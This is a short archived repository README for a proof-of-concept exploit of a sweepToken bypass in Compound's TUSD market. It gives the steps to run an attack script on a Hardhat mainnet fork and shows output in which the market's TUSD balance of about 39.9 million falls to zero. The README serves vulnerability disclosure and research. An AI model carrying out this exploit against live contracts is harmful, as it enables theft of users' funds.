Skip to content
This repository has been archived by the owner on Jan 15, 2024. It is now read-only.

Latest commit

 

History

History
 
 

CompoundTUSDSweepTokenBypass

Compound-TUSD sweepToken bypass vulnerable PoC

How to run

Install nodejs/npm first

Set up the forking url (in hardhat.config.ts)

e.g. https://speedy-nodes-nyc.moralis.io/xxxxxxxxxxx/eth/mainnet/archive ( You need to apply for speedy-nodes from moralis.io)

Then run

npm install
npx hardhat run scripts/attack.ts

You will see similar output later

Compound TUSD balance: 39961358.379339258374306712
Exploiting...
Exploit complete.
Compound TUSD balance: 0.0

This means the attack is complete

The block height of the fork is 14266479

Link